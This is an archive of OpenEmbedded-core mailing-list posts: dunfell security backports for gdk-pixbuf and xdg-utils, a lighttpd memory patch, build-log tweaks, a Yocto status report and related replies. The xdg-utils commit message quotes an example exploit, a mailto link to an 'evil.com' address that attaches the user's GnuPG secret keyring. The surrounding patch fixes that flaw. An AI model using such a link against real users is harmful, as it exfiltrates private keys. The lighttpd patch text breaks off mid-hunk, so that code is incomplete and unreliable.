[OE-core][dunfell 0/5] Patch review

[Steve Sakoman]

Please review this next set of changes for dunfell and have comments back by
end of day Thursday.

Passed a-full on autobuilder:

https://autobuilder.yoctoproject.org/typhoon/#/builders/83/builds/2554

The following changes since commit b46b059a306b2823624e64adecded9f76430471a:

  layer.conf: fix syntax error in PATH setting (2021-09-03 04:05:12 -1000)

are available in the Git repository at:

  git://git.openembedded.org/openembedded-core-contrib stable/dunfell-nut
  
http://cgit.openembedded.org/openembedded-core-contrib/log/?h=stable/dunfell-nut

Changqing Li (1):
  gdk-pixbuf: fix CVE-2021-20240

Martin Jansa (1):
  default-distrovars.inc: Set BBINCLUDELOGS to empty to disable printing
failed task output multiple times

Purushottam Choudhary (1):
  lighttpd: Add patch for reuse large memory chunks

Richard Purdie (2):
  xdg-utils: Add fix for CVE-2020-27748
  oeqa/runtime/parselogs: Make DVD ata error apply to all qemux86
machines

 .../distro/include/default-distrovars.inc |   6 +-
 meta/conf/documentation.conf  |   2 +-
 meta/lib/oeqa/runtime/cases/parselogs.py  |   2 +-
 ...or-pcre-dependency-instead-of-config.patch |  10 +-
 ...-mem-chunks-fix-mem-usage-fixes-3033.patch | 224 ++
 .../lighttpd/default-chunk-size-8k.patch  |  35 +++
 .../lighttpd/lighttpd_1.4.55.bb   |   2 +
 ...9813e0eb0246f63b54e9e154970e609575af.patch |  58 +
 .../xdg-utils/xdg-utils_1.1.3.bb  |   1 +
 .../gdk-pixbuf/CVE-2021-20240.patch   |  40 
 .../gdk-pixbuf/gdk-pixbuf_2.40.0.bb   |   1 +
 11 files changed, 371 insertions(+), 10 deletions(-)
 create mode 100644 
meta/recipes-extended/lighttpd/lighttpd/0001-core-reuse-large-mem-chunks-fix-mem-usage-fixes-3033.patch
 create mode 100644 
meta/recipes-extended/lighttpd/lighttpd/default-chunk-size-8k.patch
 create mode 100644 
meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch
 create mode 100644 
meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/CVE-2021-20240.patch

-- 
2.25.1


-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155760): 
https://lists.openembedded.org/g/openembedded-core/message/155760
Mute This Topic: https://lists.openembedded.org/mt/85436525/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

[OE-core][dunfell 1/5] gdk-pixbuf: fix CVE-2021-20240

[Steve Sakoman]

From: Changqing Li 

Source: https://git.openembedded.org/openembedded-core
MR: 111543
Type: Security Fix
Disposition: Backport from 
https://git.openembedded.org/openembedded-core/commit/meta/recipes-gnome/gdk-pixbuf?h=hardknott=bd08e4d179979937604c196b4047f59c5499a960
ChangeID: bd08e4d179979937604c196b4047f59c5499a960
Description:

(From OE-Core rev: bd08e4d179979937604c196b4047f59c5499a960)

Signed-off-by: Changqing Li 
Signed-off-by: Anuj Mittal 
Signed-off-by: Richard Purdie 
(cherry picked from commit de631334ccd2d6af74ed795228394ee2b7218403)
Signed-off-by: Armin Kuster 
Signed-off-by: Steve Sakoman 
---
 .../gdk-pixbuf/CVE-2021-20240.patch   | 40 +++
 .../gdk-pixbuf/gdk-pixbuf_2.40.0.bb   |  1 +
 2 files changed, 41 insertions(+)
 create mode 100644 
meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/CVE-2021-20240.patch

diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/CVE-2021-20240.patch 
b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/CVE-2021-20240.patch
new file mode 100644
index 00..fe594b24bb
--- /dev/null
+++ b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/CVE-2021-20240.patch
@@ -0,0 +1,40 @@
+From 086e8adf4cc352cd11572f96066b001b545f354e Mon Sep 17 00:00:00 2001
+From: Emmanuele Bassi 
+Date: Wed, 1 Apr 2020 18:11:55 +0100
+Subject: [PATCH] Check the memset length argument
+
+Avoid overflows by using the checked multiplication macro for gsize.
+
+Fixes: #132
+
+Upstream-Status: Backported 
[https://gitlab.gnome.org/GNOME/gdk-pixbuf/-/commit/086e8adf4cc352cd11572f96066b001b545f354e]
+CVE: CVE-2021-20240
+
+Signed-off-by: Changqing Li 
+---
+ gdk-pixbuf/io-gif-animation.c | 6 +-
+ 1 file changed, 5 insertions(+), 1 deletion(-)
+
+diff --git a/gdk-pixbuf/io-gif-animation.c b/gdk-pixbuf/io-gif-animation.c
+index c9db3c66e..49674fd2e 100644
+--- a/gdk-pixbuf/io-gif-animation.c
 b/gdk-pixbuf/io-gif-animation.c
+@@ -412,11 +412,15 @@ gdk_pixbuf_gif_anim_iter_get_pixbuf 
(GdkPixbufAnimationIter *anim_iter)
+ 
+ /* If no rendered frame, render the first frame */
+ if (anim->last_frame == NULL) {
++gsize len = 0;
+ if (anim->last_frame_data == NULL)
+ anim->last_frame_data = gdk_pixbuf_new 
(GDK_COLORSPACE_RGB, TRUE, 8, anim->width, anim->height);
+ if (anim->last_frame_data == NULL)
+ return NULL;
+-memset (gdk_pixbuf_get_pixels (anim->last_frame_data), 0, 
gdk_pixbuf_get_rowstride (anim->last_frame_data) * anim->height);
++if (g_size_checked_mul (, gdk_pixbuf_get_rowstride 
(anim->last_frame_data), anim->height))
++memset (gdk_pixbuf_get_pixels 
(anim->last_frame_data), 0, len);
++else
++return NULL;
+ composite_frame (anim, g_list_nth_data (anim->frames, 0));
+ }
+ 
+-- 
+GitLab
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.40.0.bb 
b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.40.0.bb
index 54861e83c6..60a04c3581 100644
--- a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.40.0.bb
+++ b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.40.0.bb
@@ -25,6 +25,7 @@ SRC_URI = 
"${GNOME_MIRROR}/${BPN}/${MAJ_VER}/${BPN}-${PV}.tar.xz \
file://0006-Build-thumbnailer-and-tests-also-in-cross-builds.patch \
file://missing-test-data.patch \
file://CVE-2020-29385.patch \
+   file://CVE-2021-20240.patch \
"
 
 SRC_URI_append_class-target = " \
-- 
2.25.1


-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155761): 
https://lists.openembedded.org/g/openembedded-core/message/155761
Mute This Topic: https://lists.openembedded.org/mt/85436529/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

[OE-core][dunfell 2/5] xdg-utils: Add fix for CVE-2020-27748

[Steve Sakoman]

From: Richard Purdie 

Backport an upstream patch for the CVE.

Signed-off-by: Richard Purdie 
(cherry picked from commit 87191ed0303f6552865ad1edcacd674c57f2010c)
Signed-off-by: Steve Sakoman 
---
 ...9813e0eb0246f63b54e9e154970e609575af.patch | 58 +++
 .../xdg-utils/xdg-utils_1.1.3.bb  |  1 +
 2 files changed, 59 insertions(+)
 create mode 100644 
meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch

diff --git 
a/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch
 
b/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch
new file mode 100644
index 00..948b9e22e9
--- /dev/null
+++ 
b/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch
@@ -0,0 +1,58 @@
+From 1f199813e0eb0246f63b54e9e154970e609575af Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= 
+Date: Tue, 18 Aug 2020 16:52:24 +0100
+Subject: [PATCH] xdg-email: remove attachment handling from mailto
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+This allows attacker to extract secrets from users:
+
+mailto:s...@evil.com?attach=/.gnupg/secring.gpg
+
+See also https://bugzilla.mozilla.org/show_bug.cgi?id=1613425
+and https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/177
+
+Signed-off-by: Jörg Thalheim 
+---
+ scripts/xdg-email.in | 7 +--
+ 1 file changed, 1 insertion(+), 6 deletions(-)
+
+Upstream-Status: Backport
+CVE: CVE-2020-27748
+
+diff --git a/scripts/xdg-email.in b/scripts/xdg-email.in
+index 6db58ad..5d2f4f3 100644
+--- a/scripts/xdg-email.in
 b/scripts/xdg-email.in
+@@ -32,7 +32,7 @@ _USAGE
+ 
+ run_thunderbird()
+ {
+-local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY ATTACH
++local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY
+ THUNDERBIRD="$1"
+ MAILTO=$(echo "$2" | sed 's/^mailto://')
+ echo "$MAILTO" | grep -qs "^?"
+@@ -48,7 +48,6 @@ run_thunderbird()
+ BCC=$(/bin/echo -e $(echo "$MAILTO" | grep '^bcc=' | sed 
's/^bcc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
+ SUBJECT=$(echo "$MAILTO" | grep '^subject=' | tail -n 1)
+ BODY=$(echo "$MAILTO" | grep '^body=' | tail -n 1)
+-ATTACH=$(/bin/echo -e $(echo "$MAILTO" | grep '^attach=' | sed 
's/^attach=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }' | sed 's/,$//'))
+ 
+ if [ -z "$TO" ] ; then
+ NEWMAILTO=
+@@ -68,10 +67,6 @@ run_thunderbird()
+ NEWMAILTO="${NEWMAILTO},$BODY"
+ fi
+ 
+-if [ -n "$ATTACH" ] ; then
+-NEWMAILTO="${NEWMAILTO},attachment='${ATTACH}'"
+-fi
+-
+ NEWMAILTO=$(echo "$NEWMAILTO" | sed 's/^,//')
+ DEBUG 1 "Running $THUNDERBIRD -compose \"$NEWMAILTO\""
+ "$THUNDERBIRD" -compose "$NEWMAILTO"
+-- 
+GitLab
+
diff --git a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb 
b/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
index d371c5c28c..41b74b8598 100644
--- a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
+++ b/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
@@ -20,6 +20,7 @@ LIC_FILES_CHKSUM = 
"file://LICENSE;md5=a5367a90934098d6b05af3b746405014"
 SRC_URI = "https://portland.freedesktop.org/download/${BPN}-${PV}.tar.gz \
file://0001-Reinstate-xdg-terminal.patch \
file://0001-Don-t-build-the-in-script-manual.patch \
+   file://1f199813e0eb0246f63b54e9e154970e609575af.patch \
   "
 
 SRC_URI[md5sum] = "902042508b626027a3709d105f0b63ff"
-- 
2.25.1


-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155762): 
https://lists.openembedded.org/g/openembedded-core/message/155762
Mute This Topic: https://lists.openembedded.org/mt/85436539/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

[OE-core] [PATCH] create-spdx: remove trailing comma

[Saul Wold]

The trailing comma turns ref_id into an object instead of a string
when added to the relationship table.

Signed-off-by: Saul Wold 
---
 meta/classes/create-spdx.bbclass | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/meta/classes/create-spdx.bbclass b/meta/classes/create-spdx.bbclass
index 1e0b360558..0a2fad5640 100644
--- a/meta/classes/create-spdx.bbclass
+++ b/meta/classes/create-spdx.bbclass
@@ -270,7 +270,7 @@ def add_package_sources_from_debug(d, package_doc, 
spdx_package, package, packag
 doc_ref.checksum.checksumValue = source_file.doc_sha1
 package_doc.externalDocumentRefs.append(doc_ref)
 
-ref_id = "%s:%s" % (doc_ref.externalDocumentId, 
source_file.file.SPDXID),
+ref_id = "%s:%s" % (doc_ref.externalDocumentId, 
source_file.file.SPDXID)
 else:
 bb.debug(1, "Debug source %s with SHA256 %s not found in 
any dependency" % (str(debugsrc_path), file_sha256))
 break
-- 
2.25.1


-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155766): 
https://lists.openembedded.org/g/openembedded-core/message/155766
Mute This Topic: https://lists.openembedded.org/mt/85438510/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

[OE-core][dunfell 3/5] lighttpd: Add patch for reuse large memory chunks

[Steve Sakoman]

From: Purushottam Choudhary 

Added 0001-core-reuse-large-mem-chunks-fix-mem-usage-fixes-3033.patch
to fix large memory usage for large file downloads
from dynamic backends reuse or release large memory chunks.

Also, added patch to set default chunk size 8k earlier it was 4k.

This issue is caused by a bug in the lighttpd 1.4.55 version and
has been fixed in lighttpd 1.4.58. Hence, it is not needed for
master and hardknott branch because lighttpd has 1.4.59 version.

Link: 
https://redmine.lighttpd.net/projects/lighttpd/repository/14/revisions/7ba521ffb4959f6f74a609d5d4acafc29a038337
Link: 
https://git.lighttpd.net/lighttpd/lighttpd1.4/commit/304e46d4f808c46cbb025edfacf2913a30ce8855

Signed-off-by: Purushottam Choudhary 
Signed-off-by: Steve Sakoman 
---
 ...or-pcre-dependency-instead-of-config.patch |  10 +-
 ...-mem-chunks-fix-mem-usage-fixes-3033.patch | 224 ++
 .../lighttpd/default-chunk-size-8k.patch  |  35 +++
 .../lighttpd/lighttpd_1.4.55.bb   |   2 +
 4 files changed, 265 insertions(+), 6 deletions(-)
 create mode 100644 
meta/recipes-extended/lighttpd/lighttpd/0001-core-reuse-large-mem-chunks-fix-mem-usage-fixes-3033.patch
 create mode 100644 
meta/recipes-extended/lighttpd/lighttpd/default-chunk-size-8k.patch

diff --git 
a/meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch
 
b/meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch
index f17bdce2c0..44b9136b05 100644
--- 
a/meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch
+++ 
b/meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch
@@ -1,4 +1,4 @@
-From 22afc5d9aaa215c3c87ba21c77d47da44ab3b113 Mon Sep 17 00:00:00 2001
+From f918d5ba6ff1d439822be063237aea2705ea27b8 Mon Sep 17 00:00:00 2001
 From: Alexander Kanavin 
 Date: Fri, 26 Aug 2016 18:20:32 +0300
 Subject: [PATCH] Use pkg-config for pcre dependency instead of -config script.
@@ -6,15 +6,16 @@ Subject: [PATCH] Use pkg-config for pcre dependency instead 
of -config script.
 RP 2014/5/22
 Upstream-Status: Pending
 Signed-off-by: Alexander Kanavin 
+
 ---
  configure.ac | 16 
  1 file changed, 12 insertions(+), 4 deletions(-)
 
 diff --git a/configure.ac b/configure.ac
-index 5383cec..c29a902 100644
+index dbddfb9..62cf17f 100644
 --- a/configure.ac
 +++ b/configure.ac
-@@ -651,10 +651,18 @@ AC_ARG_WITH([pcre],
+@@ -748,10 +748,18 @@ AC_ARG_WITH([pcre],
  )
  AC_MSG_RESULT([$WITH_PCRE])
  
@@ -37,6 +38,3 @@ index 5383cec..c29a902 100644
else
  AC_PATH_PROG([PCRECONFIG], [pcre-config])
  if test -n "$PCRECONFIG"; then
--- 
-2.15.0
-
diff --git 
a/meta/recipes-extended/lighttpd/lighttpd/0001-core-reuse-large-mem-chunks-fix-mem-usage-fixes-3033.patch
 
b/meta/recipes-extended/lighttpd/lighttpd/0001-core-reuse-large-mem-chunks-fix-mem-usage-fixes-3033.patch
new file mode 100644
index 00..e226366112
--- /dev/null
+++ 
b/meta/recipes-extended/lighttpd/lighttpd/0001-core-reuse-large-mem-chunks-fix-mem-usage-fixes-3033.patch
@@ -0,0 +1,224 @@
+From a566fe4cc9f9d0ef9cfdcbc13159ef0644e91c9c Mon Sep 17 00:00:00 2001
+From: Glenn Strauss 
+Date: Wed, 23 Dec 2020 23:14:47 -0500
+Subject: [PATCH] reuse large mem chunks (fix mem usage) (fixes #3033)
+
+(cherry picked from commit 7ba521ffb4959f6f74a609d5d4acafc29a038337)
+
+(thx flynn)
+
+fix large memory usage for large file downloads from dynamic backends
+
+reuse or release large memory chunks
+
+x-ref:
+  "Memory Growth with PUT and full buffered streams"
+  https://redmine.lighttpd.net/issues/3033
+
+Upstream-Status: Backport
+Comment: Hunk refreshed to make it backword compatible.
+https://redmine.lighttpd.net/projects/lighttpd/repository/14/revisions/7ba521ffb4959f6f74a609d5d4acafc29a038337
+Signed-off-by: Purushottam Choudhary 
+
+---
+ src/chunk.c| 99 +-
+ src/chunk.h|  2 +
+ src/http-header-glue.c |  2 +-
+ 3 files changed, 82 insertions(+), 21 deletions(-)
+
+diff --git a/src/chunk.c b/src/chunk.c
+index 133308f..d7259b9 100644
+--- a/src/chunk.c
 b/src/chunk.c
+@@ -28,16 +28,20 @@
+ static size_t chunk_buf_sz = 8192;
+ static chunk *chunks, *chunks_oversized;
+ static chunk *chunk_buffers;
++static int chunks_oversized_n;
+ static array *chunkqueue_default_tempdirs = NULL;
+ static off_t chunkqueue_default_tempfile_size = DEFAULT_TEMPFILE_SIZE;
+ 
+ void chunkqueue_set_chunk_size (size_t sz)
+ {
+-chunk_buf_sz = sz > 0 ? ((sz + 1023) & ~1023uL) : 8192;
++size_t x = 1024;
++while (x < sz && x < (1u << 30)) x <<= 1;
++chunk_buf_sz = sz > 0 ? x : 8192;
+ }
+ 
+ void chunkqueue_set_tempdirs_default_reset (void)
+ {
++chunk_buf_sz = 8192;
+ chunkqueue_default_tempdirs = NULL;
+ chunkqueue_default_tempfile_size = DEFAULT_TEMPFILE_SIZE;
+ }
+@@ -120,15 +124,49 @@ static void 

[OE-core][dunfell 4/5] oeqa/runtime/parselogs: Make DVD ata error apply to all qemux86 machines

[Steve Sakoman]

From: Richard Purdie 

This log checking fix is needed for both qemux86 and qemux86-64 so move
to the common section.

[YOCTO #14528]

Signed-off-by: Richard Purdie 
(cherry picked from commit 2475ce68f0bc1f342c75364dfcfaf7f30499badf)
Signed-off-by: Steve Sakoman 
---
 meta/lib/oeqa/runtime/cases/parselogs.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/meta/lib/oeqa/runtime/cases/parselogs.py 
b/meta/lib/oeqa/runtime/cases/parselogs.py
index 88279c6013..138fc306fc 100644
--- a/meta/lib/oeqa/runtime/cases/parselogs.py
+++ b/meta/lib/oeqa/runtime/cases/parselogs.py
@@ -90,6 +90,7 @@ qemux86_common = [
 "glamor initialization failed",
 "blk_update_request: I/O error, dev fd0, sector 0 op 0x0:(READ)",
 "floppy: error",
+'failed to IDENTIFY (I/O error, err_mask=0x4)',
 ] + common_errors
 
 ignore_errors = {
@@ -97,7 +98,6 @@ ignore_errors = {
 'qemux86' : [
 'Failed to access perfctr msr (MSR',
 'pci :00:00.0: [Firmware Bug]: reg 0x..: invalid BAR (can\'t 
size)',
-'failed to IDENTIFY (I/O error, err_mask=0x4)',
 ] + qemux86_common,
 'qemux86-64' : qemux86_common,
 'qemumips' : [
-- 
2.25.1


-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155764): 
https://lists.openembedded.org/g/openembedded-core/message/155764
Mute This Topic: https://lists.openembedded.org/mt/85436543/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

[OE-core][dunfell 5/5] default-distrovars.inc: Set BBINCLUDELOGS to empty to disable printing failed task output multiple times

[Steve Sakoman]

From: Martin Jansa 

* the output is shown 3 times with default configuration and 5 times when 
--verbose
  is being used with knotty, there might be other use-cases where we actually 
need
  this, but until the logging is resolved better, setting this to empty looks 
like
  more reasonable option (considering that e.g. log.do_compile from chromium-x11
  can be over 50MB long, generating 150MB+ cooker log)

* more details in:
  https://bugzilla.yoctoproject.org/show_bug.cgi?id=14542

Signed-off-by: Martin Jansa 
Signed-off-by: Richard Purdie 
(cherry picked from commit ede2e0df7982777212b8c25195d41ce9e57562b5)
Signed-off-by: Steve Sakoman 
---
 meta/conf/distro/include/default-distrovars.inc | 6 --
 meta/conf/documentation.conf| 2 +-
 2 files changed, 5 insertions(+), 3 deletions(-)

diff --git a/meta/conf/distro/include/default-distrovars.inc 
b/meta/conf/distro/include/default-distrovars.inc
index 433d4b6651..e266d0f312 100644
--- a/meta/conf/distro/include/default-distrovars.inc
+++ b/meta/conf/distro/include/default-distrovars.inc
@@ -27,8 +27,10 @@ BB_GENERATE_MIRROR_TARBALLS ??= "0"
 
 NO32LIBS ??= "1"
 
-# Default to emitting logfiles if a build fails.
-BBINCLUDELOGS ??= "yes"
+# Default logger already emits logfiles if a build fails, setting this to any 
non-empty value would just include more copies (prefixed with "|") in the output
+# https://bugzilla.yoctoproject.org/show_bug.cgi?id=14542
+BBINCLUDELOGS ??= ""
+
 SDK_VERSION ??= "nodistro.0"
 DISTRO_VERSION ??= "nodistro.0"
 
diff --git a/meta/conf/documentation.conf b/meta/conf/documentation.conf
index b48cbd4ac0..a6746e863f 100644
--- a/meta/conf/documentation.conf
+++ b/meta/conf/documentation.conf
@@ -88,7 +88,7 @@ BBFILE_COLLECTIONS[doc] = "Lists the names of configured 
layers. These names are
 BBFILE_PATTERN[doc] = "Variable that expands to match files from BBFILES in a 
particular layer. This variable is used in the layer.conf file and must be 
suffixed with the name of a layer."
 BBFILE_PRIORITY[doc] = "Assigns the priority for recipe files in each layer. 
Setting this variable allows you to prioritize a layer against other layers 
that contain the same recipe."
 BBFILES[doc] = "List of recipe files used by BitBake to build software."
-BBINCLUDELOGS[doc] = "Variable that controls how BitBake displays logs on 
build failure."
+BBINCLUDELOGS[doc] = "Variable that controls how BitBake displays logs on 
build failure. Set to empty if you don't want to have 2nd copy of failed task 
output (prefixed with '|') in the cooker log."
 BBINCLUDELOGS_LINES[doc] = "Amount of log lines printed on failure."
 BBLAYERS[doc] = "Lists the layers to enable during the build. This variable is 
defined in the bblayers.conf configuration file."
 BBMASK[doc] = "Prevents BitBake from processing specific recipes or recipe 
append files."
-- 
2.25.1


-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155765): 
https://lists.openembedded.org/g/openembedded-core/message/155765
Mute This Topic: https://lists.openembedded.org/mt/85436548/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

[OE-core] Yocto Project Status WW36`21

[Stephen Jolley]

Current Dev Position: YP 3.4 M4

Next Deadline: 4th Oct. 2021 YP 3.4 M4 build

 

Next Team Meetings:

*   Bug Triage meeting Thursday Sept. 9th at 7:30am PDT (

https://zoom.us/j/454367603?pwd=ZGxoa2ZXL3FkM3Y0bFd5aVpHVVZ6dz09)
*   Monthly Project Meeting Tuesday Sept. 7th at 8am PDT (

https://zoom.us/j/990892712?pwd=cHU1MjhoM2x6ck81bkcrYjRrcmJsUT09
 )
*   Weekly Engineering Sync Tuesday Sept.14th at 8am PDT (

https://zoom.us/j/990892712?pwd=cHU1MjhoM2x6ck81bkcrYjRrcmJsUT09
 )
*   Twitch -  See https://www.twitch.tv/theyoctojester

 

Key Status/Updates:

*   YP 3.4 M3 is built and now in QA. This means we are now feature
complete for 3.4 and will be working on stabilization.
*   YP 3.3.3 has been built and is waiting in the queue for QA after 3.4
M3. This includes the override syntax compatibility changes.
*   SBOM generation work was merged in and will be in the release as
preliminary work on this topic, there will likely be some further tweaks
during M4.
*   Further rust issues were resolved such as the centos7 build issues.
*   A work around for the glibc 2.34 clone3 syscalls in uninative was
added and a new uninative built/released.
*   A fix for some of the multiconfig issues where deadlocked tasks and
tasks were showing errors being on both the "covered and not covered lists"
is available in master-next for review, hopefully addressing the issues that
were being reported. This was possible from a better test case that was
submitted enabling debugging.
*   Intermittent issues are ongoing and help is very much welcome on
these issues. You can see the list of failures we're continuing to see by
searching for the "AB-INT" tag in bugzilla:

https://bugzilla.yoctoproject.org/buglist.cgi?quicksearch=AB-INT

 

Ways to contribute:

*   There are bugs identified as possible for newcomers to the project:

https://wiki.yoctoproject.org/wiki/Newcomers
*   There are bugs that are currently unassigned for YP 3.4. See:

https://wiki.yoctoproject.org/wiki/Bug_Triage#Medium.2B_3.4_Unassigned_Enhan
cements.2FBugs
*   We'd welcome new maintainers for recipes in OE-Core. Please see the
list at:

http://git.yoctoproject.org/cgit.cgi/poky/tree/meta/conf/distro/include/main
tainers.inc and discuss with the existing maintainer, or ask on the OE-Core
mailing list. We will likely move a chunk of these to "Unassigned" soon to
help facilitate this.

 

YP 3.4 Milestone Dates:

*   YP 3.4 M3 built and in QA
*   YP 3.4 M3 Release date 2021/09/03
*   YP 3.4 M4 build date 2021/10/04
*   YP 3.4 M4 Release date 2021/10/29

 

Planned upcoming dot releases:

*   YP 3.3.3 built and in QA
*   YP 3.3.3 release date 2021/10/1
*   YP 3.1.11 build date 2021/09/13
*   YP 3.1.11 release date 2021/9/24

 

Tracking Metrics:

*   WDD 2673 (last week 2633) (

https://wiki.yoctoproject.org/charts/combo.html)
*   OE-Core/Poky Patch Metrics

*   Total patches found: 1303 (last week 1301)
*   Patches in the Pending State: 482 (37%) [last week 482 (37%)]

 

The Yocto Project's technical governance is through its Technical Steering
Committee, more information is available at:

 
https://wiki.yoctoproject.org/wiki/TSC

 

The Status reports are now stored on the wiki at:

https://wiki.yoctoproject.org/wiki/Weekly_Status

 

[If anyone has suggestions for other information you'd like to see on this
weekly status update, let us know!]

 

Thanks,

 

Stephen K. Jolley

Yocto Project Program Manager

*Cell:(208) 244-4460

* Email:  sjolley.yp...@gmail.com
 

 


-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155759): 
https://lists.openembedded.org/g/openembedded-core/message/155759
Mute This Topic: https://lists.openembedded.org/mt/85436455/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

Re: [OE-core] [PATCH 1/1] assimp: Remove it

[Khem Raj]

On Tue, Sep 7, 2021 at 5:10 AM Ross Burton  wrote:
>
> On Tue, 7 Sept 2021 at 13:04, Randy MacLeod  
> wrote:
> > I'll look at the sections that you have pointed out later today.
>
> Debian is always worth looking at when there's license issues.
>
> https://salsa.debian.org/debian/assimp/-/blob/master/debian/README.source
>
> Specifically:
>
> https://salsa.debian.org/debian/assimp/-/blob/master/debian/README.source#L81
>
> They strip non-free components from the tarball before importing into
> their git repository.  We can delete the same files during the build
> so they don't get redistributed.

yeah that seems a sensible approach to me.

>
> Ross
>
> 
>

-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155768): 
https://lists.openembedded.org/g/openembedded-core/message/155768
Mute This Topic: https://lists.openembedded.org/mt/85431030/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

[OE-core][dunfell 0/5] Pull request (cover letter only)

[Steve Sakoman]

*The following changes since commit 448e0271ed831582bb5833486fc17b131676fb53:

  selftest: disable virgl headless test (2021-08-27 04:58:08 -1000)

are available in the Git repository at:

  git://git.openembedded.org/openembedded-core-contrib stable/dunfell-next
  
http://cgit.openembedded.org/openembedded-core-contrib/log/?h=stable/dunfell-next

Andrej Valek (1):
  vim: add option to disable NLS support

Armin Kuster (1):
  lz4: Security Fix for CVE-2021-3520

Matt Madison (1):
  layer.conf: fix syntax error in PATH setting

Richard Purdie (1):
  sdk: Decouple default install path from built in path

Ross Burton (1):
  cpio: backport fix for CVE-2021-38185

 meta/classes/populate_sdk_base.bbclass|   1 +
 meta/conf/bitbake.conf|   4 +-
 meta/conf/layer.conf  |   2 +-
 meta/files/toolchain-shar-extract.sh  |   3 +-
 meta/files/toolchain-shar-relocate.sh |   2 +-
 .../cpio/cpio-2.13/CVE-2021-38185.patch   | 581 ++
 meta/recipes-extended/cpio/cpio_2.13.bb   |   1 +
 .../lz4/files/CVE-2021-3520.patch |  27 +
 meta/recipes-support/lz4/lz4_1.9.2.bb |   1 +
 meta/recipes-support/vim/vim.inc  |   4 +-
 10 files changed, 621 insertions(+), 5 deletions(-)
 create mode 100644 meta/recipes-extended/cpio/cpio-2.13/CVE-2021-38185.patch
 create mode 100644 meta/recipes-support/lz4/files/CVE-2021-3520.patch

-- 
2.25.1


-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155775): 
https://lists.openembedded.org/g/openembedded-core/message/155775
Mute This Topic: https://lists.openembedded.org/mt/85449014/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
